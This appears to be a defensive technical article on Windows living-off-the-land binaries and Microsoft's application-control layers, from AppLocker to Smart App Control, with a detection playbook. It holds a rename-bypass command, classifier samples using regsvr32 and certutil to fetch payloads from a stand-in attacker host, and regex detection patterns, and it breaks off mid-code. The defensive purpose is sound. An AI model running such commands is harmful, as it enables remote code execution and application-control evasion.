<Sidenote>The AppLocker rename bypass is as simple as `copy %WINDIR%\System32\regsvr32.exe %TEMP%\sysadmin-helper.exe`. The copied file retains its Authenticode signature (which signs the file bytes, not the filename). The default Microsoft-publisher allow rule admits the renamed copy. A Deny rule keyed to the original path or name silently fails. This is the bypass that motivated WDAC's move to kernel-mode signature evaluation and hash-revocation rules.</Sidenote>

A Deny rule keyed by path or filename loses to file copy. A Deny rule keyed by file hash loses the day Microsoft ships a new build on Patch Tuesday. AppLocker's policy language could express either constraint but not both at once. Neither held up against a determined attacker.

### Generation 2: App Control for Business with Recommended Block Rules (2017-present)

Generation 2 is what most enterprises deploy today. [Windows Defender Application Control (WDAC)](/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/) shipped with Windows 10 1709 in October 2017, evolved out of Device Guard's Code Integrity Policies, and was rebranded *App Control for Business* in the 2023-2024 documentation cycle [@ms-appcontrol-overview]. The system enforces signature-and-policy evaluation in kernel mode. The rename bypass that defeated AppLocker stops at the kernel boundary, because the kernel evaluates the file's signature and hash independently of its path.

<Definition term="App Control for Business">
The Microsoft kernel-mode application-control system formerly known as Windows Defender Application Control (WDAC). Ships with Windows 10 1709 and later. Policies are signed XML files that admit or deny binaries by signer, hash, file attribute, or path; the policy engine is enforced by the kernel's Code Integrity subsystem [@ms-appcontrol-overview]. The successor to AppLocker for managed enterprise deployments.
</Definition>

<Definition term="Recommended Block Rules">
A Microsoft-curated, version-pinned XML deny list shipped via Microsoft Learn that App Control administrators merge into their base policy. As of 2026 the list denies roughly 40 binaries -- including `mshta.exe`, `Microsoft.Workflow.Compiler.exe`, conditionally `msbuild.exe`, and the older `system.management.automation.dll` versions that allowed PowerShell Constrained Language Mode bypass [@ms-bypass-rules]. The deny list grows as new bypasses are disclosed; addition lag is months to years.
</Definition>

Generation 2 closed the per-name rename bypass and gave Microsoft a publication surface for revoking individual LOLBins. The deny list itself acknowledges the version-pinning problem in a dated breadcrumb on the Microsoft Learn page: *as of October 2017, system.management.automation.dll is updated to revoke earlier versions by hash values, instead of version rules* [@ms-bypass-rules]. Revocation is applied case-by-case, not globally. What Generation 2 did *not* close was the catalog-vs-deny-list coverage gap (see Section 8 for the side-by-side count). The Recommended Block Rules name roughly 40 binaries; the LOLBAS catalog enumerates 207. The residual is unaddressed by default.

### Generation 3: Smart App Control (2022-present)

Smart App Control (SAC) is Microsoft's [reputation-and-AI gate](/blog/mark-of-the-web-smartscreen-catalog-of-trust/) for unmanaged consumer and small-business endpoints. It ships with clean installations of Windows 11 22H2 and later. It runs in an *evaluation* mode that silently observes the user's behavior and either transitions to *enforce* mode or silently disables itself depending on whether the observed activity is consistent with a managed-enough device [@ms-sac-overview]. The disable was originally one-way; the Definition below covers the recently-added in-place re-enable path [@ms-sac-support].

<Definition term="Smart App Control">
A Windows 11 22H2+ reputation-based application-gating feature that admits or blocks applications by Microsoft cloud lookup, with an AI classifier as a fallback. SAC ships in evaluation mode on clean installs only; it either transitions to enforcement or silently disables itself based on observed device usage [@ms-sac-overview]. Until recently a disabled SAC could only be revived by reinstalling Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support]. The silent disable itself remains.
</Definition>

The Aha moment for SAC arrives when a defender reads the Microsoft Learn SAC overview carefully:

<PullQuote>
"Note that some older Microsoft binaries are considered unsafe because attackers can potentially use them to gain unauthorized access. For a complete list of these files, please see Application Control for Windows." -- Microsoft Learn, Smart App Control overview [@ms-sac-overview]
</PullQuote>

That sentence resolves the most common misconception about SAC. Smart App Control does not introduce a new LOLBin-handling mechanism. It *defers* LOLBin handling to the App Control Recommended Block Rules deny list. SAC inherits the same 167-binary coverage gap Generation 2 has. The reputation-and-AI gate is a useful addition for unknown third-party software; for Microsoft-signed LOLBins it is the deny list with a different user interface.

Generation 3's other documented failure mode is *silent disable*. A device that was protected becomes unprotected with no admin signal. In August 2024, Elastic Security Labs published the *Dismantling Smart App Control* analysis [@elastic-sac], which enumerated five distinct bypass classes: signed malware via EV certificates (SolarMarker burned through more than 100 unique certs), reputation hijacking via FFI-capable script hosts (Lua, Node.js, AutoHotkey), reputation seeding within roughly two hours, reputation tampering, and the LNK-stomping smuggling technique tracked as CVE-2024-38217 [@bleeping-lnk]. The LNK-stomping samples in VirusTotal date back six years.

### Generation 4: Windows Resiliency Initiative (November 2024)

On November 19, 2024, at Microsoft Ignite, the company announced the *Windows Resiliency Initiative* (WRI). It is an umbrella program, not a new enforcement mechanism, with four focus areas. The third is *stronger controls for what apps and drivers are allowed to run* [@ms-wri-nov2024]. The June 2025 follow-up post adds the *Microsoft Virus Initiative 3.0* (MVI 3.0) and the user-mode security agents work that moves third-party EDR drivers out of the kernel [@ms-wri-jun2025]. As of May 2026, WRI has not shipped a qualitatively new LOLBin-class enforcement primitive. It is a re-framing of the controls that already existed.

<Mermaid caption="Four generations of Microsoft response to LOLBins, each closing a specific bypass class in the previous generation, none of them removing the class itself.">
flowchart LR
    G0["Gen 0: SRP<br/>2001-2009"] --"closes 'no scalable publisher rule'"--> G1["Gen 1: AppLocker<br/>default publisher rule<br/>2009-2017"]
    G1 --"closes 'per-admin deny rules don't scale, rename bypass'"--> G2["Gen 2: App Control + Recommended Block Rules<br/>2017-present"]
    G2 --"closes 'no default-on for unmanaged endpoints'"--> G3["Gen 3: Smart App Control<br/>2022-present"]
    G3 --"institutional re-framing"--> G4["Gen 4: Windows Resiliency Initiative<br/>2024-present"]
    G4 -. unresolved .-> Class["The LOLBin class itself"]
    style Class stroke:#c33,stroke-width:2px
    style G4 stroke:#888,stroke-dasharray: 5 5
</Mermaid>

The summary table for the generational story:

| Generation | Years | Closed | Did not close |
|---|---|---|---|
| 0: SRP | 2001-2009 | -- | Undeployable at enterprise scale |
| 1: AppLocker | 2009-2017 | Allow-list scale problem | Squiblydoo, rename bypass, Authenticode blindness |
| 2: App Control + Block Rules | 2017-present | Rename bypass, per-name deny | 167-binary coverage gap |
| 3: Smart App Control | 2022-present | No default-on for consumers | Silent disable, defers LOLBins to Gen 2 |
| 4: WRI | 2024-present | -- (institutional framing) | No new LOLBin enforcement primitive |

> **Note:** Each generation adds a layer; no generation removes a class. Four bypass classes have been closed in chronological order, but the 167-binary residual between the LOLBAS catalog and the Recommended Block Rules deny list has not narrowed. The class is what survives the chain.

Four generations, each adding a layer. None removing the class. The next question follows: what does the 2026 state of the art look like, taken as a whole?

## 7. The 2026 State of the Art Is a Stack of Eight

A 2026 Windows shop does not pick one of these layers. It stacks all eight. The state of the art for LOLBin defense is the *bundle*, not a single technique, and the bundle's coverage is the union of what each layer sees.

The eight layers, in roughly the order a defender would deploy them:

1. **App Control for Business with Recommended Block Rules** -- the enterprise control plane. Kernel-mode signature evaluation, signed XML policies, and Microsoft's curated deny list merged into the base policy [@ms-bypass-rules]. This is the only layer that *enforces by default-deny* at the loader.
2. **Smart App Control** -- the consumer reputation gate. Reputation lookups against a Microsoft cloud service, AI classification as the fallback, evaluation-then-enforce lifecycle [@ms-sac-overview]. Defers LOLBins to the App Control deny list.
3. **[Attack Surface Reduction (ASR) rules](/blog/attack-surface-reduction-rules-the-quiet-layer-that-stopped-/)** -- Defender for Endpoint's behavioral choke points. Most LOLBin-relevant rules shipped with Windows 10 1709 in October 2017 [@ms-asr-rules-ref]: *Block all Office applications from creating child processes*, *Block executable content from email client and webmail*, *Block JavaScript or VBScript from launching downloaded executable content*, *Block use of copied or impersonated system tools*. *Block process creations originating from PSExec and WMI commands* arrived later in Windows 10 1803.
4. **Behavioral EDR with Sysmon parent-child detection** -- the telemetry layer that catches what the enforcement layers miss. SwiftOnSecurity's `sysmon-config` repository [@swiftonsec], the more modular `olafhartong/sysmon-modular` configuration [@olafhartong], and vendor-curated analytics like Splunk Research's rule `25689101-012a-324a-94d3-08301e6c065a` for renamed-LOLBin detection [@splunk-detection].
5. **[AMSI](/blog/amsi-the-pre-execution-window-defender/) with PowerShell Constrained Language Mode** -- in-process script-content inspection.<MarginNote>AMSI is the only Microsoft-shipped mechanism that lets antimalware inspect *script bodies after macro expansion and before eval*, which is the moment the script has been decoded but not yet executed [@ms-amsi-portal]. That moment is the single richest detection signal in the script-host attack surface.</MarginNote> The answer Microsoft shipped specifically for PowerShell, JScript, VBScript, and the script hosts Microsoft directly controls.
6. **The LOLBAS catalog itself** -- a defensive data structure. Detection engineers parse it to generate rules; SIEM vendors ingest it as detection content; the MITRE ATT&CK pages cite individual entries as primary references [@attack-t1218].
7. **ML-driven LOTL classification** -- the research frontier. Ryan Stamp's 2022 NLP-over-command-line approach [@arxiv-stamp] and the 2024 work by Trizna and collaborators reporting a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] [@hf-quasarnix].
8. **[Microsoft Vulnerable Driver Blocklist](/blog/windows-kernel-code-integrity-2006-2026/) and LOLDrivers** -- the kernel-driver analogue. Microsoft's blocklist is enabled by default with HVCI, Smart App Control, or S mode active [@ms-driver-blocklist]; the community-maintained LOLDrivers project at `loldrivers.io` is the sibling catalog [@loldrivers].

<Definition term="AMSI">
The Antimalware Scan Interface, introduced with Windows 10 1507. AMSI lets script hosts (PowerShell, JScript, VBScript, the `.NET` runtime) hand the script content they are about to evaluate to the registered antimalware product for inspection before execution. AMSI closes one of the few in-process content-inspection points Microsoft directly controls; it does not see scripts run through non-AMSI hosts (older COM scriptlets, Lua, Node.js, AutoHotkey FFI).
</Definition>

Each layer addresses a different point in the LOLBin life cycle. App Control and SAC enforce at load time, before the binary runs. ASR enforces at behavior time, blocking specific parent-child or write-then-exec patterns. EDR with Sysmon observes at runtime and reacts after the fact. AMSI inspects script content inside the running process. The catalog enumerates what to look for; ML models generalize beyond it. The driver layer covers a sibling class.

<Mermaid caption="The 2026 LOLBin defense stack. Each layer addresses a different point in the binary's life cycle, and the union of the eight layers approximates what a coordinated Windows shop deploys.">
flowchart TD
    Endpoint["Windows endpoint"]
    Endpoint --> L1["1. App Control + Recommended Block Rules (kernel CI, default deny)"]
    Endpoint --> L2["2. Smart App Control (consumer reputation gate)"]
    Endpoint --> L3["3. ASR rules (behavioral choke points)"]
    Endpoint --> L4["4. EDR + Sysmon (telemetry and post-hoc detection)"]
    Endpoint --> L5["5. AMSI + PowerShell CLM (in-process script content)"]
    Endpoint --> L6["6. LOLBAS catalog (detection-engineering data structure)"]
    Endpoint --> L7["7. ML LOTL classification (research frontier)"]
    Endpoint --> L8["8. Driver blocklist + LOLDrivers (sibling class)"]
</Mermaid>

The head-to-head comparison matrix shows what each layer brings and where the residual risk lives:

| Layer | Decision time | Coverage breadth | Marginal cost per new LOLBin | Failure mode if attacker succeeds |
|---|---|---|---|---|
| App Control + Block Rules | Load | ~40 binaries | Microsoft must add it to the XML; months-to-years lag | Binary loads and runs |
| Smart App Control | Load | Reputation + AI gate; defers LOLBins to App Control | None (inherits App Control) | Reputation hijack succeeds; silent disable possible |
| ASR rules | Behavior | ~8 LOLBin-relevant rules | Rule author must encode the new pattern | Pattern slips through; user-facing block toast missing |
| EDR + Sysmon | Runtime | Whole catalog if rules exist | Rule per binary, per variant | Detection fires after execution |
| AMSI + CLM | In-process | PowerShell and AMSI-instrumented hosts only | Free; instrumented automatically | Non-AMSI host (older COM scriptlet, Lua) bypasses |
| LOLBAS catalog | Reference | 207 binaries | Community editorial cost | Out-of-catalog LOLBin missed |
| ML LOTL | Runtime | Generalizes beyond catalog | Retraining cost | False-positive flood; adversarial drift |
| Driver blocklist | Load (kernel) | Sibling class (drivers, not binaries) | Microsoft and community curation | Vulnerable driver loads pre-blocklist |

<Sidenote>`powershell.exe` is conspicuously absent from the App Control Recommended Block Rules deny list, even though it is the most-abused script host in the catalog. The reason is that Microsoft shipped a different answer for PowerShell specifically: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103). For PowerShell the response is *instrument deeply, do not deny*; for the rest of the catalog the response is *deny when feasible*. There is no published Microsoft criterion explaining when each strategy applies.</Sidenote>

Layer 6 -- the catalog as data structure -- is the layer most defenders underuse. The YAML is parsable, the function taxonomy is closed, the MITRE ATT&CK IDs are stable. A SOC can compile the catalog into a command-line classifier in a few dozen lines:

<RunnableCode lang="js" title="Mapping a command line to a LOLBAS function category">{`
// A minimal classifier that takes a candidate Windows command line and
// returns the LOLBAS function category it appears to match. Real SOC
// content compiles the YAML at build time and emits a rule per entry.

const PATTERNS = [
  { binary: 'regsvr32', re: /regsvr32(\\.exe)?.+\\/i:https?:/i,  cat: 'Execute (AWL Bypass)' },
  { binary: 'rundll32', re: /rundll32(\\.exe)?\\s+.+\\.dll,/i,     cat: 'Execute' },
  { binary: 'mshta',    re: /mshta(\\.exe)?\\s+(https?:|vbscript:|javascript:)/i, cat: 'Execute' },
  { binary: 'certutil', re: /certutil(\\.exe)?.+(-urlcache|-decode)/i, cat: 'Download / Decode' },
  { binary: 'bitsadmin',re: /bitsadmin(\\.exe)?.+\\/transfer/i,    cat: 'Download' },
  { binary: 'msbuild',  re: /msbuild(\\.exe)?\\s+.+\\.csproj|\\.xml/i, cat: 'Compile' },
  { binary: 'installutil', re: /installutil(\\.exe)?\\s+\\/u\\s+/i, cat: 'Execute' },
  { binary: 'wfc',      re: /(microsoft\\.workflow\\.compiler|wfc)(\\.exe)?/i, cat: 'Compile' }
];

function classify(cmd) {
  for (const p of PATTERNS) {
    if (p.re.test(cmd)) return { binary: p.binary, category: p.cat };
  }
  return null;
}

const samples = [
  'regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll',
  'certutil -urlcache -split -f http\u003a//attacker/x.exe c:\\\\users\\\\x.exe',
  'msbuild.exe project.csproj /t:Build',
  'wfc.exe rules.xoml config.txt'
];
for (const s of samples) console.log(s, '->', classify(s));
`}</RunnableCode>

Eight layers, none of which covers all 207 catalog entries. Why is the coverage gap so persistent? The next section compares the three competing taxonomies that have spent the last decade enumerating the class and shows what they agree on and where they diverge.
## 8. Three Taxonomies, Three Counts

Three groups have spent the last decade enumerating the LOLBin class from three different angles, and they disagree on the count. The disagreement is informative.

**LOLBAS** is the community-curated, behaviorally annotated, MITRE-mapped, full binary enumeration. The count as of May 2026 is 207 binaries plus 27 libraries and scripts, totaling 234 entries [@lolbas-github]. Every entry has a YAML file, a function category, an ATT&CK technique ID, a primary-source acknowledgement, and detection guidance. The catalog is exhaustive by design: the editorial criteria admit any Microsoft-signed binary with unexpected attacker-useful functionality.

**MITRE ATT&CK** organizes the same behaviors as techniques rather than binaries. The relevant nodes are T1218 (*System Binary Proxy Execution*, with sub-techniques for Regsvr32, Rundll32, Mshta, InstallUtil, and others) [@attack-t1218]; T1216 (*System Script Proxy Execution*) [@attack-t1216]; T1127 (*Trusted Developer Utilities Proxy Execution*) [@attack-t1127]; T1197 (*BITS Jobs*) [@attack-t1197]; T1140 (*Deobfuscate/Decode Files or Information*); and T1105 (*Ingress Tool Transfer*). The framework has fewer canonical entries than LOLBAS but richer threat-intelligence linkage: adversary groups, observed campaigns, and detection rules cluster around each technique. The MITRE pages cite LOLBAS as the primary source for binary-level abuse detail.

**Microsoft's App Control Recommended Block Rules** denies roughly 40 binaries [@ms-bypass-rules]. That is the intersection Microsoft will commit to denying by default in a fully-managed App Control policy. The list is version-pinned, signed, and shipped as XML for administrators to merge into their base policies. Entries include `mshta.exe`, `Microsoft.Workflow.Compiler.exe`, `installutil.exe`, conditionally `msbuild.exe`, and the older `system.management.automation.dll` versions that allowed Constrained Language Mode bypass.

| Dimension | LOLBAS | MITRE ATT&CK | App Control Block Rules |
|---|---|---|---|
| What counts as an entry | Per-binary YAML file | Per-technique node | Per-binary deny rule |
| Count (May 2026) | 234 (207 binaries + 27 libs/scripts) | ~6 top-level techniques, ~12 LOLBin sub-techniques | ~40 binaries |
| Update mechanism | GitHub pull request, community editorial board | MITRE editorial cycle (quarterly) | Microsoft Learn page revision |
| Enforcement? | None -- reference only | None -- reference and CTI | Yes -- kernel-mode App Control deny |
| Primary audience | Detection engineers, red teams | Threat intel analysts, CISO reporting | Enterprise App Control administrators |

<Mermaid caption="The three taxonomies overlap but do not coincide. The 167-binary residual between LOLBAS and the App Control deny list is the load-bearing empirical evidence for the structural ceiling.">
flowchart TB
    subgraph LOLBAS["LOLBAS: 207 binaries"]
        L1["~40 covered by Block Rules"]
        L2["~167 binaries not denied by default"]
    end
    subgraph MITRE["MITRE ATT&CK: ~12 LOLBin sub-techniques"]
        M1["Cites LOLBAS as primary source"]
    end
    subgraph Block["App Control Block Rules: ~40 binaries"]
        B1["Subset of LOLBAS"]
    end
    L1 -.- B1
    L2 -. "the gap" .-> Gap["167-binary residual"]
    MITRE -.- LOLBAS
</Mermaid>

The discrepancy is the load-bearing observation of this article. *207 known* versus *~40 denied*. The 167-binary residual is the gap between *what the community has proven possible* and *what Microsoft will deny by default*. The residual is not a curation backlog. Microsoft maintains the deny list; researchers submit candidates; the criterion for inclusion is operational impact, not novelty. Binaries that would break Windows administration if denied are excluded by design. That is why `regsvr32.exe`, `rundll32.exe`, `certutil.exe`, and `bitsadmin.exe` are all in LOLBAS, all in MITRE ATT&CK, and none of them denied by default.

<Sidenote>Jimmy Bayne -- one of the LOLBAS co-maintainers -- runs a parallel community list at `bohops/UltimateWDACBypassList` [@bohops-wdac] that explicitly tracks the *superset* of binaries that bypass WDAC, including entries that may not yet have made it into the main LOLBAS catalog. Oddvar Moe's pre-LOLBAS `UltimateAppLockerByPassList` [@api0cradle-applocker] performs the same role for AppLocker-era bypasses. Together, the two community lists are the closest available proxy for the *real* upper bound on LOLBin candidates.</Sidenote>

> **Note:** LOLBAS enumerates 207 Microsoft-signed binaries with attacker-useful primitives. The App Control Recommended Block Rules deny roughly 40 of them by default. The 167-binary residual is the central empirical finding of the LOLBin literature: the binaries Microsoft will not deny are the binaries Windows system administration depends on.

If the gap were random, Microsoft could close it over time. But it is not random. The binaries Microsoft *will not* deny are precisely the binaries Windows system administration depends on: the COM registration utility, the DLL loader, the certificate installer, the BITS download helper. The pattern is too clean to be accidental. That is not a coverage problem. That is an architectural problem. Section 9 explains why.

## 9. The Architectural Argument: Why LOLBins Cannot Be Eliminated

Here is the thesis. The LOLBin class is not a defect to be fixed. It is a *property* of a thirty-year-old design decision that the entire Windows administration model now depends on.

The argument has four steps, and each step is empirically grounded in something this article has already shown.

**Step 1.** Windows ships tens of thousands of Microsoft-signed binaries across SKUs. The default AppLocker rule template admits every executable under `%windir%` or `%programfiles%` via three path-based default rules (executables, scripts, and Windows Installer files) [@ms-applocker-default-rules], and the canonical managed deployment adds a publisher rule that trusts the Microsoft signer chain; the default App Control configuration trusts the same Microsoft signer certificate chain. The first two control planes treat the entire signed-Microsoft binary set as admissible.

**Step 2.** A LOLBin is *any* signed binary that exposes a "load and execute attacker-controlled payload" surface. That surface includes loading a script, loading a DLL, loading a XAML or XOML file, running an inline MSBuild task, running a COM scriptlet, running an HTA, running a WSH job, decoding Base64, fetching a URL into the BITS queue, or invoking a `[RunInstaller(true)]` class. Each primitive sits behind a documented switch or file format. None of them is a vulnerability in the buffer-overflow sense.

**Step 3.** Every one of those primitives is required by some legitimate administrative tooling. Microsoft cannot remove `Microsoft.Workflow.Compiler.exe` without breaking the .NET Workflow Foundation runtime that the binary services. It cannot remove `msbuild.exe` without breaking the developer toolchain. It cannot remove `regsvr32.exe` without breaking COM registration. It cannot remove `bitsadmin.exe` without breaking corporate update servers that depend on the BITS channel. It cannot remove `certutil.exe` without breaking certificate-installation workflows that ship in every Active Directory deployment guide.

**Step 4.** Therefore the only available options are (a) revoke individual binaries from the default trust path via the App Control Recommended Block Rules deny list; (b) layer behavioral blocks on top via ASR, SAC, EDR, and AMSI; or (c) rebuild the Windows system-administration model. Microsoft has chosen (a) plus (b). Option (c) is out of scope for backward-compatibility reasons.

<Mermaid caption="The three options for eliminating the LOLBin class. Microsoft has chosen the first two. The third is theoretically clean and operationally impossible.">
flowchart TD
    Problem["Signed binary with load-and-execute primitive,<br/>abused with attacker arguments"]
    Problem --> A["Option A: Revoke from default trust path"]
    Problem --> B["Option B: Layer behavioral blocks"]
    Problem --> C["Option C: Rebuild system-administration model"]
    A --> A1["App Control Recommended Block Rules (~40 binaries)"]
    A --> A2["Microsoft Recommended Driver Block Rules"]
    B --> B1["ASR, Smart App Control, EDR, AMSI, Constrained Language Mode"]
    C --> C1["Not shipping. Would break Windows administration."]
    style C stroke:#888,stroke-dasharray: 5 5
    style C1 stroke:#888,stroke-dasharray: 5 5
</Mermaid>

The strongest evidence that Microsoft itself accepts this framing is the `msbuild.exe` deny-list entry quoted in Section 5 -- a *context-dependent* rule that denies `msbuild.exe` unless the endpoint is a developer reference system [@ms-bypass-rules]. That single Microsoft sentence is the architectural argument in one paragraph: Microsoft is admitting, in writing, that the deny list is not absolute. Whether `msbuild.exe` is a LOLBin depends on what the machine is used for. There is no possible *universal* deny rule for `msbuild.exe` because there is no universal answer to *do you build .NET projects on this machine?*. The deny list can only ever encode the policy for the use case the administrator has in mind.

> **Key idea:** The LOLBin problem is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.

A theoretically clean fix exists and is worth naming. It would attach a *behavioral capability description* to each Authenticode-signed binary at sign time -- something like *this binary may load and execute COM scriptlets from URLs*, or *this binary may compile and run unsigned C# from disk*. App Control policy would then enforce on the *capability set* rather than the publisher identity. A LOLBin would be any binary whose capability set, intersected with the administrator's policy, exceeded the policy's high-water mark.

<Aside label="The ideal solution that is not shipping">
A capability-extended Authenticode -- in which each signed binary's metadata declared the categories of behavior it could perform, and App Control policy could deny by capability rather than by name -- would close the structural gap. It is the design that flows directly from the analysis in Section 3. It is also not on Microsoft's public roadmap as of Ignite 2024. The reason is not technical. The reason is that every existing signed Microsoft binary would have to be re-signed, every existing third-party signed binary would have to be re-classified, and every administrator would have to learn a new policy vocabulary. The cost is paid by everyone at once; the benefit accrues to defenders only as adoption approaches one.
</Aside>

A further theoretical observation is worth recording. The decision problem behind LOLBin enforcement -- *does this signed binary, invoked with these arguments, execute attacker-controlled code?* -- is Rice-class undecidable in the limit. By Rice's theorem [@rice-1953], any non-trivial semantic property of arbitrary programs is undecidable, which means no static analysis can perfectly classify every possible invocation of every possible signed binary. In practice the problem is also backward-compatibility-bounded: even where decidable approximations exist, Microsoft cannot apply them to existing binaries without re-signing or breaking deployments.

The detection side has a measurable upper bound that the enforcement side does not. The Trizna 2024 result -- a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] -- is the closest published quantitative result on what ML-driven command-line classification can achieve. There is no equivalent enforcement-side result. The asymmetry is not accidental: detection can be probabilistic, but enforcement at the loader must be deterministic.

If the class cannot be eliminated, the next honest question is: what *cannot* be fixed even in principle, and what work is still open? That is the next section.

## 10. Eight Open Problems in 2026

Eight problems remain genuinely open as of May 2026. None is fixable with the controls Microsoft currently ships, and each one has direct operational consequences a SOC must plan around.

| Problem | Why it matters | What has been tried | Why it isn't fixed |
|---|---|---|---|
| Block-list latency | Disclosure-to-deny lag is months to years | Periodic Recommended Block Rules updates [@ms-bypass-rules] | Microsoft does not publish a SLA; no quantitative lag study exists |
| Version-pinned bypass via older signed copies | Attacker drops a 2017-vintage signed `wfc.exe` from an archive; deny list misses it | Hash-revocation rules per binary | Asymptotic completeness of the hash list is unattainable in practice |
| Smart App Control silent disable | A protected device becomes unprotected with no admin signal | Microsoft documents the behavior; in-place re-enable shipped via a recent Windows cumulative update [@ms-sac-support] | Silent disable itself remains by design |
| No capability-extended Authenticode | Publisher trust has no first-class representation of behavior | Discussed in academic and red-team writing; not on Microsoft roadmap | See Section 9: would require re-signing the world |
| AMSI gaps in non-AMSI script hosts | Native COM scriptlets, older .NET, Lua, Node.js, AutoHotkey FFI bypass AMSI | Microsoft instrumented PowerShell, JScript, VBScript | Third-party script hosts opt in or do not |
| Detection-engineering economics | Per-LOLBin rule authoring scales linearly with catalog growth | Community projects (SwiftOnSecurity, sysmon-modular), Splunk Research [@splunk-detection] | LOLBAS adds entries faster than rules can be generalized |
| Coverage gap LOLBAS vs MITRE vs Block Rules | No published mapping reconciles all three | Manual cross-references in vendor documentation | Each project has different editorial scope |
| The PowerShell special case | "Instrument deeply" for one host, "deny" for the others | AMSI + CLM + script-block logging | No published Microsoft criterion for when each applies |

The empirical anchor for why this matters is published. In its Q3 2025 TTP Briefing, Cybereason reported the share of investigations involving LOLBins:

<PullQuote>
"We observed living-off-the-land binaries (LOLBINs) usage in 17% of investigations in Q3, up from 13% in H1 2025." -- Cybereason TTP Briefing Q3 2025 [@cybereason-q3-2025]
</PullQuote>

A four-percentage-point quarter-over-quarter increase is not a noise-level move. It is the visible attacker-economics response to the SOTA: as enforcement layers improve at detecting unsigned third-party tooling, attackers shift further into the trust-by-signature space. The catalog grows because the incentive to find new LOLBins is growing.

Two of the eight problems deserve a closer look. Smart App Control's silent-disable behavior is the most under-documented operational failure mode in the entire 2026 SOTA. The documented disable trigger is, in paraphrase, that SAC turns off when Microsoft's cloud service cannot make a confident prediction about the user's typical app usage [@ms-sac-overview]. The user-facing consequence is the same regardless of the exact wording: a Windows 11 endpoint that booted protected by SAC silently transitions to a state in which SAC does nothing. A recent Windows cumulative update added an in-place re-enable path that improved on the original wipe-and-reinstall requirement (see the Callout below), but it does not surface a disable event to administrators.

> **Note:** SAC disables itself silently when it cannot make a high-confidence safety prediction. The disabled state used to be one-way; a recent Windows cumulative update added a re-enable path that no longer needs a clean install [@ms-sac-support]. But the disable itself still surfaces no admin signal. Plan defenses as if SAC is best-effort, not load-bearing.

The other under-discussed problem is the PowerShell special case. PowerShell is the most-abused script host in Windows by a wide margin, and yet `powershell.exe` is not on the App Control deny list and never has been. The reason is that Microsoft shipped a different answer specifically for PowerShell: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), module logging (Event ID 4103), and over-the-shoulder transcription [@ms-ps-logging]. The PowerShell answer is *instrument deeply, do not deny*. For the rest of the LOLBAS catalog the answer is *deny when feasible, detect otherwise*. No published Microsoft criterion explains which strategy applies to a given binary; the choice is made one binary at a time inside Microsoft's security engineering organization.

If the problems remain open, what can a practitioner actually do tomorrow? The playbook is the next section.

## 11. A 2026 LOLBin Defense Playbook

Even with the structural ceiling, a 2026 Windows shop can do a great deal. The playbook below is in rough order of operational priority: top items pay the biggest defensive dividend per hour of administrator time.

1. **Deploy App Control for Business in *enforce* mode with the Recommended Block Rules merged into the base policy.** This is the single highest-value step. Microsoft Learn publishes the deny-list XML and a step-by-step merge guide [@ms-bypass-rules]. For organizations that want a wider net than the official list, the `bohops/UltimateWDACBypassList` community superset [@bohops-wdac] is the standard reference.

2. **Where Smart App Control is eligible, enable it on clean-installed Windows 11 22H2+ endpoints.** Document the silent-disable failure mode in your incident runbook so an unexpectedly disabled SAC instance gets a ticket instead of being ignored. A recent Windows cumulative update added an in-place re-enable path inside the Windows Security app, so a disabled SAC is no longer a wipe-and-reinstall event (see Section 10) [@ms-sac-support].

3. **Apply the LOLBin-relevant ASR rules in block mode** [@ms-asr-rules-ref]: *Block all Office applications from creating child processes* (1709+), *Block executable content from email client and webmail* (1709+), *Block JavaScript or VBScript from launching downloaded executable content* (1709+), *Block use of copied or impersonated system tools* (1709+), and *Block process creations originating from PSExec and WMI commands* (1803+). Coverage on Windows 11 24H2 is uniform.

4. **Deploy SwiftOnSecurity's `sysmon-config` as a baseline** [@swiftonsec]; consider `olafhartong/sysmon-modular` [@olafhartong] for tiered configuration. Tune the per-LOLBin detection patterns documented on each LOLBAS entry's *Detection* field. The Splunk Research analytic `25689101-012a-324a-94d3-08301e6c065a` for renamed-LOLBin moves is a good starting point for SIEM rule design [@splunk-detection].

5. **Write detection content for the canonical eight.** Parent-child plus argument patterns for `regsvr32`, `mshta`, `certutil`, `rundll32`, `bitsadmin`, `msbuild`, `installutil`, and `Microsoft.Workflow.Compiler.exe` cover the bulk of real-world incidents. The Atomic Red Team test corpus for T1218.010 [@atomic-t1218] supplies ready-to-run validation payloads. Run them in audit mode against your detection content before relying on it in production.

6. **Enable PowerShell script-block logging (Event ID 4104) and module logging (Event ID 4103).** Constrained Language Mode activates automatically when an App Control policy is in *enforce* on the script file's location, so step 1 also pays for the PowerShell hardening.

7. **Subscribe to LOLBAS GitHub releases.** New entries arrive every few weeks. Put the Recommended Block Rules page on the SOC's monthly review cadence so that a new XML version is integrated within one patch cycle.

8. **Map your detections to MITRE ATT&CK technique IDs.** T1218 and its sub-techniques (.004, .005, .010, .011), T1127.001, T1216, T1197, T1140, and T1105 are the LOLBin-relevant nodes. The mapping lets the SOC coverage matrix and the LOLBAS catalog stay aligned.

9. **For the driver class, enable HVCI on supported hardware.** The Microsoft Vulnerable Driver Blocklist is enabled by default whenever HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. Cross-reference `loldrivers.io` [@loldrivers] for SIEM rule input.

> **Note:** Microsoft's own guidance is to deploy every new App Control policy in *audit* mode for two to four weeks before flipping to *enforce*. The audit-mode telemetry surfaces business-critical workflows that depend on otherwise-deniable binaries (the `msbuild.exe` developer-workstation case is the canonical example). The Recommended Block Rules deployment is no exception [@ms-bypass-rules].

A 2026 SOC's top-of-funnel LOLBin detection combines the parent-child pattern with argument inspection from Section 1, generalized across the canonical eight:

<RunnableCode lang="js" title="A LOLBin top-of-funnel detection: parent-child plus argument inspection across the canonical eight">{`
// The minimal cross-binary detection logic a SOC writes for the canonical
// eight LOLBins. Each rule is a parent-child pair plus an argument regex.
// Production rules add tuning fields (user-context allow-lists, signing
// chain checks, network destination reputation), but this is the spine.

const RULES = [
